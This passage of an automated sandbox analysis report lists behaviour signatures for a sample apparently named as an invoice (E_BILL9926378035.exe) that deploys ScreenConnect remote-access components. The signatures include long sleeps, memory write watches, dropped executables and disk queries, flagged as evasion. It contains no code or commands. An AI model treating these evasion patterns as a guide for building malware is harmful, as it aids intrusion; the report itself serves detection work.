Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 1F6B42B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 1F6CDB20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 1280000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 1AD50000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: E50000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 29D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 49D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 1C10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 1DF0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Memory allocated: 1C10000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 8E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Memory allocated: 1A640000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599749 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599639 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599511 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599403 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599292 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599136 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598996 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598713 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598130 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597656 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597516 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597391 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597266 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597153 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597047 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596938 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596578 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596469 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596016 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595795 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595685 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595575 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595468 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595358 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595115 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594994 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594850 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594734 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594625 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594516 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594188 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594078 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593969 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593844 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593734 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593624 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593514 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593406 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593297 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593188 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593063 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592953 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592844 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592719 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 6869 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 2735 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Window / User API: threadDelayed 366
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\D4CKD0XW.3MP\NK1E9WBX.DD7\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\E_BILL9926378035.exe TID: 3244 Thread sleep time: -40000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -27670116110564310s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599749s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599639s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599511s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599403s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599292s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -599136s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -598996s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -598713s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -598297s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -598130s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597906s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597656s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597516s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597391s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597266s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597153s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -597047s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596938s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596813s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596688s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596578s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596469s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596344s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596234s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596125s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -596016s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595906s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595795s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595685s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595575s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595468s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595358s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -595115s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594994s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594850s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594734s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594625s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594516s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594406s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594297s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594188s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -594078s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593969s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593844s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593734s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593624s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593514s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593406s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593297s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593188s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -593063s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -592953s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -592844s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4192 Thread sleep time: -592719s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5436 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe TID: 7720 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe TID: 7756 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe TID: 7940 Thread sleep count: 366 > 30
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe TID: 7788 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe TID: 7852 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Thread delayed: delay time: 40000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599749 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599639 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599511 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599403 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599292 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599136 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598996 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598713 Jump to behavior
